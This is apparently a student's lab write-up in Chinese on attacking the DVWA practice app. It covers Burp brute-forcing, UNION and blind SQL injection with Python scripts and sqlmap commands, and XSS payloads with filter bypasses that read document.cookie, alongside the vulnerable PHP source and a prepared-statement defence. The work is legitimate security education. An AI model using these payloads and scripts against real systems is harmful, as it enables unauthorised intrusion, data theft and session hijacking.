网安作业2
本文最后更新于:3 年前
DVWA实验
一下都是基于low,mid,high级别的实验,为了方便叙述,提前在数据库中建了一个flag表
Brute Force
使用工具 :bp
使用材料:密码字典
bp的四种爆破攻击类型
第一种:
Sniper标签 这个是我们最常用的,Sniper是狙击手的意思。这个模式会使用单一的payload【就是导入字典的payload】组。它会针对每个position中$$位置设置payload。这种攻击类型适合对常见漏洞中的请求参数单独地进行测试。攻击中的请求总数应该是position数量和payload数量的乘积。
第二种:
Battering ram – 这一模式是使用单一的payload组。它会重复payload并且一次把所有相同的payload放入指定的位置中。这种攻击适合那种需要在请求中把相同的输入放到多个位置的情况。请求的总数是payload组中payload的总数。简单说就是一个playload字典同时应用到多个position中
第三种:
Pitchfork – 这一模式是使用多个payload组。对于定义的位置可以使用不同的payload组。攻击会同步迭代所有的payload组,把payload放入每个定义的位置中。比如:position中A处有a字典,B处有b字典,则a【1】将会对应b【1】进行attack处理,这种攻击类型非常适合那种不同位置中需要插入不同但相关的输入的情况。请求的数量应该是最小的payload组中的payload数量
第四种:
Cluster bomb – 这种模式会使用多个payload组。每个定义的位置中有不同的payload组。攻击会迭代每个payload组,每种payload组合都会被测试一遍。比如:position中A处有a字典,B处有b字典,则两个字典将会循环搭配组合进行attack处理这种攻击适用于那种位置中需要不同且不相关或者未知的输入的攻击。攻击请求的总数是各payload组中payload数量的乘积。
low
1.抓包–>ctrl+I –>标记要爆破的参数,这里直接爆破password
2.选择要加载的密码字典,可以使用自己准备的密码字典,也可以使用bp自带的密码字典,但是最重要的是要包含正确达到密码
3.开始爆破 ,根据响应包的长度筛选出正确密码的响应包,这里只有当密码为password的时候响应包的长度为4743,所以password就是争取密码。
medium
<?php
if( isset( $_GET[ 'Login' ] ) ) {
// Sanitise username input
$user = $_GET[ 'username' ];
$user = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $user ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
// Sanitise password input
$pass = $_GET[ 'password' ];
$pass = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$pass = md5( $pass );
// Check the database
$query = "SELECT * FROM `users` WHERE user = '$user' AND password = '$pass';";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
if( $result && mysqli_num_rows( $result ) == 1 ) {
// Get users details
$row = mysqli_fetch_assoc( $result );
$avatar = $row["avatar"];
// Login successful
echo "<p>Welcome to the password protected area {$user}</p>";
echo "<img src=\"{$avatar}\" />";
}
else {
// Login failed
sleep( 2 );
echo "<pre><br />Username and/or password incorrect.</pre>";
}
((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}
?>
与low级别相比较,只是增加了回显的时间,所以还是可以使用low级别的方法直接爆破,不过花费的时间相对会长一点。
1.火狐浏览器打开代理抓包后发到爆破模块,添加爆破的变量。
2.加载密码字典进行爆破。
3.根据响应包的长度确定正确密码。
high
<?php
if( isset( $_GET[ 'Login' ] ) ) {
// Check Anti-CSRF token
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
// Sanitise username input
$user = $_GET[ 'username' ];
$user = stripslashes( $user );
$user = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $user ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
// Sanitise password input
$pass = $_GET[ 'password' ];
$pass = stripslashes( $pass );
$pass = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$pass = md5( $pass );
// Check database
$query = "SELECT * FROM `users` WHERE user = '$user' AND password = '$pass';";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
if( $result && mysqli_num_rows( $result ) == 1 ) {
// Get users details
$row = mysqli_fetch_assoc( $result );
$avatar = $row["avatar"];
// Login successful
echo "<p>Welcome to the password protected area {$user}</p>";
echo "<img src=\"{$avatar}\" />";
}
else {
// Login failed
sleep( rand( 0, 3 ) );
echo "<pre><br />Username and/or password incorrect.</pre>";
}
((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}
// Generate Anti-CSRF token
generateSessionToken();
?>
审计代码后可以发现使用了随机token机制来防止CSRF,从而在一定程度上防止了重放攻击,增加了爆破难度,但是任然可以使用bp的爆破模块
1.抓包,发包到爆破模块并添加参数,这次需要添加两个参数,设置 password和user_token为变量
2.攻击类型选择pitchfork,意思是草叉模式(Pitchfork )——它可以使用多组Payload集合,在每一个不同的Payload标志位置上(最多20个),遍历所有的Payload。举例来说,如果有两个Payload标志位置,第一个Payload值为A和B,第二个Payload值为C和D,则发起攻击时,将共发起两次攻击,第一次使用的Payload分别为A和C,第二次使用的Payload分别为B和D。
3.设置参数,在option选项卡中将攻击线程thread设置为1,因为Recursive_Grep模式不支持多线程攻击,然后选择Grep-Extract,意思是用于提取响应消息中的有用信息,点击Add,如下图进行设置,最后将Redirections设置为Always
4.设置payload,第一个参数是密码与之前两次一样,加载密码字典即可,第二token参数选择Recursive grep,然后将options中的token作为第一次请求的初始值。
5.start attack,还是根据响应包长度的不同找到包含真正密码的请求包,获取正确密码。
SQL Injection
low
<?php
if( isset( $_SESSION [ 'id' ] ) ) {
// Get input
$id = $_SESSION[ 'id' ];
// Check database
$query = "SELECT first_name, last_name FROM users WHERE user_id = '$id' LIMIT 1;";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>Something went wrong.</pre>' );
// Get results
while( $row = mysqli_fetch_assoc( $result ) ) {
// Get values
$first = $row["first_name"];
$last = $row["last_name"];
// Feedback for end user
echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
}
((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}
?>
SELECT first_name, last_name FROM users WHERE user_id = '$id' LIMIT 1;
注入点就在这句代码中
手工注入
1.判断注入类型
1 or 1=1 #
1' or 1=1 #
可知是字符型注入
2.判断多少字段数
1' order by 1,2,3 #
报错
1' order by 1,2 #
显示正常,说明只有2个字段
3.确认显示顺序
两个位置都可以使用
4.union查询
1' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()#
1' union select 1,group_concat(column_name) from information_schema.columns where table_name='flag' #
1' union select 1,group_concat(fl4g) from flag #
sqlmap注入
python2 sqlmap.py -u "http://127.0.0.1/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=0477644f8a563ab1fd2f2ecba45bd2d1" --batch --dbs
python2 sqlmap.py -u "http://127.0.0.1/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=0477644f8a563ab1fd2f2ecba45bd2d1" --batch -D dvwa -T flag --columns
python2 sqlmap.py -u "http://127.0.0.1/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=0477644f8a563ab1fd2f2ecba45bd2d1" --batch -D dvwa -T flag -C fl4g --dump
medium
与low级别相比较,这里的id值不需要用户输入,只需要选择,但是可以抓包修改id的内容
手工注入
经过测试是数字型注入,很简单的判断就不截图了
1.判断列数
id=1 order by 1,2#&Submit=Submit
此时页面正常
id=1 order by 1,2,3#&Submit=Submit
此时页面报错
Unknown column '3' in 'order clause'
所以可知为两列,之后的操作与low级别的一样
2.union查询
爆数据库名
id=-1 union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()#&Submit=Submit
爆列名
id=-1 union select 1,group_concat(column_name) from information_schema.columns where table_name=0x666c6167 #&Submit=Submit
读取flag
id=-1 union select 1,group_concat(fl4g) from flag #&Submit=Submit
这里读取列名的时候需要注意使用列名的十六进制,不然就会报错,应该是 '
被 \
转义了,可以使用十六进制绕过
分析源码
<?php
if( isset( $_POST[ 'Submit' ] ) ) {
// Get input
$id = $_POST[ 'id' ];
$id = mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $id);
$query = "SELECT first_name, last_name FROM users WHERE user_id = $id;";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query) or die( '<pre>' . mysqli_error($GLOBALS["___mysqli_ston"]) . '</pre>' );
// Get results
while( $row = mysqli_fetch_assoc( $result ) ) {
// Display values
$first = $row["first_name"];
$last = $row["last_name"];
// Feedback for end user
echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
}
}
// This is used later on in the index.php page
// Setting it here so we can close the database connection in here like in the rest of the source scripts
$query = "SELECT COUNT(*) FROM users;";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
$number_of_rows = mysqli_fetch_row( $result )[0];
mysqli_close($GLOBALS["___mysqli_ston"]);
?>
mysqli_real_escape_string()
函数转义在 SQL 语句中使用的字符串中的特殊字符。
所以导致了单引号被转义的结果
sqlmap注入
因为是post注入,所以需要抓取数据包保存下来。
如图,可以将其保存在sqlmap.py的路径下
注入过程
python2 .\sqlmap.py -r .\a.txt --batch --dbs
python2 .\sqlmap.py -r .\a.txt --batch -D dvwa --tables
python2 .\sqlmap.py -r .\a.txt --batch -D dvwa -T flag --columns
python2 .\sqlmap.py -r .\a.txt --batch -D dvwa -T flag -C fl4g --dump
high
这次用户输入与回显不在同一个页面,这只要是为了防止sqlmap这种自动化注入工具的攻击
注入
直接使用low级别的payload:
1' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()#
1' union select 1,group_concat(column_name) from information_schema.columns where table_name='flag' #
1' union select 1,group_concat(fl4g) from flag #
源码分析
<?php
if( isset( $_SESSION [ 'id' ] ) ) {
// Get input
$id = $_SESSION[ 'id' ];
// Check database
$query = "SELECT first_name, last_name FROM users WHERE user_id = '$id' LIMIT 1;";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>Something went wrong.</pre>' );
// Get results
while( $row = mysqli_fetch_assoc( $result ) ) {
// Get values
$first = $row["first_name"];
$last = $row["last_name"];
// Feedback for end user
echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
}
((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}
?>
$query = "SELECT first_name, last_name FROM users WHERE user_id = '$id' LIMIT 1;";
存在注入的语句只是在low级别的基础上加上了Limit
限制了回显的行数,但是使用low级别的注入语句时会直接把Limit 1
注释掉,所以完全与low级别一样。
SQL Injection (Blind)
盲注的过程,就像你与一个机器人聊天,这个机器人知道的很多,但只会回答“是”或者“不是”,因此你需要询问它这样的问题,例如“数据库名字的第一个字母是不是a啊?”,通过这种机械的询问,最终获得你想要的数据。
low
手工加脚本
查询成功返回的语句:User ID exists in the database.
查询失败返回的语句:User ID is MISSING from the database.
这样就可以利用提示信息确定,我们所查询的语句是否正确
首先确定盲注的语句
通过下面的测试,说明ascii函数是可以使用的,写注入的脚本,二分法更快点。
1' and ascii(substring(database(),1,1))>50 #
提示 :User ID exists in the database.
1' and ascii(substring(database(),1,1))<50 #
提示: User ID is MISSING from the database.
# -*- coding = utf - 8 -*-
#@Time : 2020/10/26 17:29
#@Author : sunzy
#@File : dvwa.py
# 二分法盲注
import requests
url = "http://127.0.0.1/dvwa/vulnerabilities/sqli_blind/?id="
header = {"Cookie": "security=low; PHPSESSID=0477644f8a563ab1fd2f2ecba45bd2d1"}
flag = ""
for i in range(1,50):
left = 32
right = 128
mid = (right + left) >> 1
while(left < right):
#获取数据库名
#payload = "1' and ascii(substring(database(),{0},1))>{1}%23".format(i,mid)
#获取表名
#payload = "1' and (select ascii(substring(group_concat(table_name),{0},1)) as a from information_schema.tables where table_schema=database() having a>{1})%23".format(i,mid)
#获取列名
#payload = "1' and (select ascii(substring(group_concat(column_name),{0},1)) as a from information_schema.columns where table_schema=database() and table_name='flag' having a>{1})%23".format(i,mid)
#获取flag
payload = "1' and (select ascii(substring(group_concat(fl4g),{0},1)) as a from flag having a>{1})%23".format(i,mid)
url1 =url+payload+"&Submit=Submit#"
response = requests.post(url1,headers= header)
if "exists" in response.text:
left = mid+1
else:
right = mid
mid=(right+left)>>1
flag = flag + chr(mid)
print(flag)
1.首先获取表名
使用payload:
payload = "1' and (select ascii(substring(group_concat(table_name),{0},1)) as a from information_schema.tables where table_schema=database() having a>{1})%23".format(i,mid)
2.获取列名
使用payload
payload = "1' and (select ascii(substring(group_concat(column_name),{0},1)) as a from information_schema.columns where table_schema=database() and table_name='flag' having a>{1})%23".format(i,mid)
3.获取flag
使用payload
payload = "1' and (select ascii(substring(group_concat(fl4g),{0},1)) as a from flag having a>{1})%23".format(i,mid)
sqlmap
python2 sqlmap.py -u "http://10.5.8.66/dvwa/vulnerabilities/sqli_blind/?id=1&Submit=Submit#" -p "id" --cookie "security=low; PHPSESSID=e31dkassqtg9388l159fn72ac1" --dbs --batch
python2 sqlmap.py -u "http://10.5.8.66/dvwa/vulnerabilities/sqli_blind/?id=1&Submit=Submit#" -p "id" --cookie "security=low; PHPSESSID=e31dkassqtg9388l159fn72ac1" -D dvwa --tables --batch
python2 sqlmap.py -u "http://10.5.8.66/dvwa/vulnerabilities/sqli_blind/?id=1&Submit=Submit#" -p "id" --cookie "security=low; PHPSESSID=e31dkassqtg9388l159fn72ac1" -D dvwa -T flag --columns --batch
python2 sqlmap.py -u "http://10.5.8.66/dvwa/vulnerabilities/sqli_blind/?id=1&Submit=Submit#" -p "id" --cookie "security=low; PHPSESSID=e31dkassqtg9388l159fn72ac1" -D dvwa -T flag -C fl4g --dump --batch
medium
手工加脚本
与low级别不同,中级别提交数据是post类型,所以需要抓包后再提交。
id=1 and length(database())=4 #&Submit=Submit
提示User ID exists in the database.
id=1 and length(database())=5 #&Submit=Submit
User ID is MISSING from the database
所以思路还是与low级别一样,只不过脚本中提交数据的方式改为POST类型
直接上脚本
import requests
url = "http://10.5.8.66/dvwa/vulnerabilities/sqli_blind/"
header = {"Cookie": "security=medium; PHPSESSID=e31dkassqtg9388l159fn72ac1"}
flag = ""
t = ""
sum=0
for i in range(1,50):
left = 32
right = 128
mid = (right + left) >> 1
while(left < right):
#payload = "1 and ascii(substring(database(),{0},1))>{1}%23".format(i,mid)
#payload = "1 and (select ascii(substring(group_concat(table_name),{0},1)) as a from information_schema.tables where table_schema=database() having a>{1})%23".format(i,mid)
#payload = "1 and (select ascii(substring(group_concat(column_name),{0},1)) as a from information_schema.columns where table_schema=database() and table_name='flag' having a>{1})%23".format(i,mid)
payload = "1 and (select ascii(substring(group_concat(fl4g),{0},1)) as a from flag having a>{1})%23".format(i,mid)
data = {'id': payload, 'Submit': 'Submit'}
response = requests.post(url,headers = header,data=data)
t = response.text
if "exists" in response.text:
left = mid+1
else:
right = mid
mid=(right+left)>>1
print(mid)
flag = flag + chr(mid)
print(flag)
sqlmap
python2 sqlmap.py -u "http://10.5.8.66/dvwa/vulnerabilities/sqli_blind/" --data "id=1&Submit=Submit" -p "id" --cookie "security=medium; PHPSESSID=e31dkassqtg9388l159fn72ac1" --dbs
python2 sqlmap.py -u "http://10.5.8.66/dvwa/vulnerabilities/sqli_blind/" --data "id=1&Submit=Submit" -p "id" --cookie "security=medium; PHPSESSID=e31dkassqtg9388l159fn72ac1" -D dvwa --tables
python2 sqlmap.py -u "http://10.5.8.66/dvwa/vulnerabilities/sqli_blind/" --data "id=1&Submit=Submit" -p "id" --cookie "security=medium; PHPSESSID=e31dkassqtg9388l159fn72ac1" -D dvwa -T flag --columns
python2 sqlmap.py -u "http://10.5.8.66/dvwa/vulnerabilities/sqli_blind/" --data "id=1&Submit=Submit" -p "id" --cookie "security=medium; PHPSESSID=e31dkassqtg9388l159fn72ac1" -D dvwa -T flag -C fl4g --dump
sqlmap中给了三种注入方式,并且给出了payload,可以基于给出的提示继续做下去
下面是sqlmap爆出的flag。
源码分析
<?php
if( isset( $_POST[ 'Submit' ] ) ) {
// Get input
$id = $_POST[ 'id' ];
$id = mysql_real_escape_string( $id );
// Check database
$getid = "SELECT first_name, last_name FROM users WHERE user_id = $id;";
$result = mysql_query( $getid ); // Removed 'or die' to suppress mysql errors
// Get results
$num = @mysql_numrows( $result ); // The '@' character suppresses errors
if( $num > 0 ) {
// Feedback for end user
echo '<pre>User ID exists in the database.</pre>';
}
else {
// Feedback for end user
echo '<pre>User ID is MISSING from the database.</pre>';
}
//mysql_close();
}
?>
mysql_real_escape_string() 调用mysql库的函数 mysql_real_escape_string, 在以下字符前添加反斜杠: \x00
, \n
, \r
, \
, '
, "
和 \x1a
.
本质上跟low级别的没有太大的区别,只是将一些特殊字符转义,但是我们注入时没有用到这些字符,所以注入语句基本和low级别一样
high
GET /dvwa/vulnerabilities/sqli_blind/ HTTP/1.1
Host: 10.5.8.66
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:82.0) Gecko/20100101 Firefox/82.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Referer: http://10.5.8.66/dvwa/vulnerabilities/sqli/
Connection: close
Cookie: id=1; security=high; PHPSESSID=e31dkassqtg9388l159fn72ac1
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0
抓包后可以发现提交的参数id
在cookie中,所以与中级别的方法不一样了,但是还是可以使用sqlmap注入。
手工加脚本
通过手工测试发现是字符型注入,与low级别的脚本大同小异,只是将注入的位置改到了cookie的位置
import requests
url = "http://10.5.8.66/dvwa/vulnerabilities/sqli_blind/"
t=""
flag = ""
for i in range(1,50):
left = 32
right = 128
mid = (right + left) >> 1
while(left < right):
#payload = "1' and ascii(substring(database(),{0},1))>{1}%23".format(i,mid)
payload = "1' and (select ascii(substring(group_concat(table_name),{0},1)) as a from information_schema.tables where table_schema=database() having a>{1})%23".format(i,mid)
#payload = "1' and (select ascii(substring(group_concat(column_name),{0},1)) as a from information_schema.columns where table_schema=database() and table_name='flag' having a>{1})%23".format(i,mid)
#payload = "1' and (select ascii(substring(group_concat(fl4g),{0},1)) as a from flag having a>{1})%23".format(i,mid)
id = payload
header = {"Cookie": "id="+payload+";"+"security=high; PHPSESSID=e31dkassqtg9388l159fn72ac1"}
#print(header)
response = requests.post(url,headers = header)
t = response.text
if "exists" in response.text:
left = mid+1
else:
right = mid
mid=(right+left)>>1
print(mid)
#print(t)
flag = flag + chr(mid)
print(flag)
sqlmap
python2 sqlmap.py -u "http://10.5.8.66/dvwa/vulnerabilities/sqli_blind/" -p "id" --cookie "id=1; security=high; PHPSESSID=e31dkassqtg9388l159fn72ac1" --level 2 --dbs --batch
python2 sqlmap.py -u "http://10.5.8.66/dvwa/vulnerabilities/sqli_blind/" -p "id" --cookie "id=1; security=high; PHPSESSID=e31dkassqtg9388l159fn72ac1" --level 2 -D dvwa --tables --batch
python2 sqlmap.py -u "http://10.5.8.66/dvwa/vulnerabilities/sqli_blind/" -p "id" --cookie "id=1; security=high; PHPSESSID=e31dkassqtg9388l159fn72ac1" --level 2 -D dvwa -T flag --columns --batch
python2 sqlmap.py -u "http://10.5.8.66/dvwa/vulnerabilities/sqli_blind/" -p "id" --cookie "id=1; security=high; PHPSESSID=e31dkassqtg9388l159fn72ac1" --level 2 -D dvwa -T flag -C fl4g --dump --batch
sql注入防御
通过查看impossible源码发现检测了id数据类型,使用了预编译绑定id变量,有效防止SQL注入,这些可以在以后编程中应用,以编写出更加安全的代码。
<?php
if( isset( $_GET[ 'Submit' ] ) ) {
// Check Anti-CSRF token
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
// Get input
$id = $_GET[ 'id' ];
// Was a number entered?
if(is_numeric( $id )) { //检测提交的数据是否为数字类型
// Check the database
$data = $db->prepare( 'SELECT first_name, last_name FROM users WHERE user_id = (:id) LIMIT 1;' );//预编译绑定了id变量
$data->bindParam( ':id', $id, PDO::PARAM_INT );
$data->execute();
// Get results
if( $data->rowCount() == 1 ) {
// Feedback for end user
echo '<pre>User ID exists in the database.</pre>';
}
else {
// User wasn't found, so the page wasn't!
header( $_SERVER[ 'SERVER_PROTOCOL' ] . ' 404 Not Found' );
// Feedback for end user
echo '<pre>User ID is MISSING from the database.</pre>';
}
}
}
// Generate Anti-CSRF token
generateSessionToken();
?>
XSS (Reflected)
low
<?php
header ("X-XSS-Protection: 0");
// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
// Feedback for end user
echo '<pre>Hello ' . $_GET[ 'name' ] . '</pre>';
}
?>
可以看到,代码直接引用了name参数,并没有任何的过滤与检查,存在明显的XSS漏洞 。
先测试一下
<script>alert("xss");</script>
获取cookie
<script>alert(document.cookie);</script>
medium
<?php
header ("X-XSS-Protection: 0");
// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
// Get input
$name = str_replace( '<script>', '', $_GET[ 'name' ] );
// Feedback for end user
echo "<pre>Hello ${name}</pre>";
}
?>
代码审计后可以发现是对输入的内容进行了过滤,将**<script>**替换为空,可以双写绕过,也可以大小写绕过。
构造payload:
<sCriPt>alert(document.cookie)</script>
<scr<script>ipt>alert(document.cookie)</script>
//使用其他标签
<IMG src=1 onerror=alert(document.cookie)>
high
<?php
header ("X-XSS-Protection: 0");
// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
// Get input
$name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $_GET[ 'name' ] );
// Feedback for end user
echo "<pre>Hello ${name}</pre>";
}
?>
先代码审计,执行一个正则表达式的搜索和替换,其中 /<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i
是正则表达式 (.*)
表示贪婪匹配, /i
表示不区分大小写所以在High级别的代码中,所有关于 <script>
标签均被过滤删除了 ,可以使用其他的标签。
构造payload:
<IMG src=1 onerror=alert(document.cookie)>
XSS (Stored)
low
<?php
if( isset( $_POST[ 'btnSign' ] ) ) {
// Get input
$message = trim( $_POST[ 'mtxMessage' ] );
$name = trim( $_POST[ 'txtName' ] );
// Sanitize message input
$message = stripslashes( $message );
$message = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $message ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
// Sanitize name input
$name = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $name ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
// Update database
$query = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
//mysql_close();
}
?>
分析
isset()
函数在php中用来检测变量是否设置,该函数返回的是布尔类型的值,即true/false
trim()
函数作用为移除字符串两侧空白字符或其他预定义字符
stripslashes()
函数用于删除字符串中的反斜杠
mysqli_real_escape_string()
函数会对字符串中的特殊号(\x00,\n,\r,\,',",\x1a)
进行转义
在代码中对message,name输入框内容 没有进行XSS方面的过滤和检查
且通过 query
语句插入到数据库中。所以存在存储型XSS漏洞
这里name ,message的输入框中都存在xss,所以两个位置都可以使用,但是name位置有字数限制,可以使用bp抓包修改
由于是存储型XSS,所以每次刷新页面都会弹出cookie。
medium
<?php
if( isset( $_POST[ 'btnSign' ] ) ) {
// Get input
$message = trim( $_POST[ 'mtxMessage' ] );
$name = trim( $_POST[ 'txtName' ] );
// Sanitize message input
$message = strip_tags( addslashes( $message ) );
$message = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $message ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$message = htmlspecialchars( $message );
// Sanitize name input
$name = str_replace( '<script>', '', $name );
$name = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $name ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
// Update database
$query = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
//mysql_close();
}
?>
分析
$message = strip_tags( addslashes( $message ) );
$message = htmlspecialchars( $message );
$name = str_replace( '<script>', '', $name );
strip_tags()
函数剥去字符串中的 HTML、XML 以及 PHP 的标签,但允许使用 <b>
标签。
addslashes()
函数返回在预定义字符(单引号、双引号、反斜杠、NULL)之前添加反斜杠的字符串。
htmlspecialchars()
函数把预定义的字符&、”、’、<、>转换为 HTML 实体,防止浏览器将其作为HTML元素
对message输入内容进行检测过滤,因此无法再通过message参数注入XSS代码
但是对于name参数,只是简单过滤了<script>
字符串,仍然存在存储型的XSS,与反射型中级的一样的方法
payload
使用双写绕过,输入 <scr<script>ipt>alert(document.cookie)</script>
使用大小写绕过,输入<sCript>alert(document.cookie)</script>
输入其他标签,如 <IMG src=1 onerror=alert(document.cookie)>
high
<?php
if( isset( $_POST[ 'btnSign' ] ) ) {
// Get input
$message = trim( $_POST[ 'mtxMessage' ] );
$name = trim( $_POST[ 'txtName' ] );
// Sanitize message input
$message = strip_tags( addslashes( $message ) );
$message = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $message ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$message = htmlspecialchars( $message );
// Sanitize name input
$name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $name );
$name = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $name ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
// Update database
$query = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
//mysql_close();
}
?>
分析
$message = strip_tags( addslashes( $message ) );
$message = htmlspecialchars( $message );
$name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $name );
strip_tags()
函数剥去字符串中的 HTML、XML 以及 PHP 的标签,但允许使用 <b>
标签。
addslashes()
函数返回在预定义字符(单引号、双引号、反斜杠、NULL)之前添加反斜杠的字符串。
htmlspecialchars()
函数把预定义的字符&、”、’、<、>转换为 HTML 实体,防止浏览器将其作为HTML元素
name,执行一个正则表达式的搜索和替换,其中 /<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i
是正则表达式 (.*)
表示贪婪匹配, /i
表示不区分大小写所以在High级别的代码中,所有关于 <script>
标签均被过滤删除了 ,可以使用其他的标签。
只能换一个标签
<IMG src=1 onerror=alert(document.cookie)>
本博客所有文章除特别声明外,均采用 CC BY-SA 4.0 协议 ,转载请注明出处!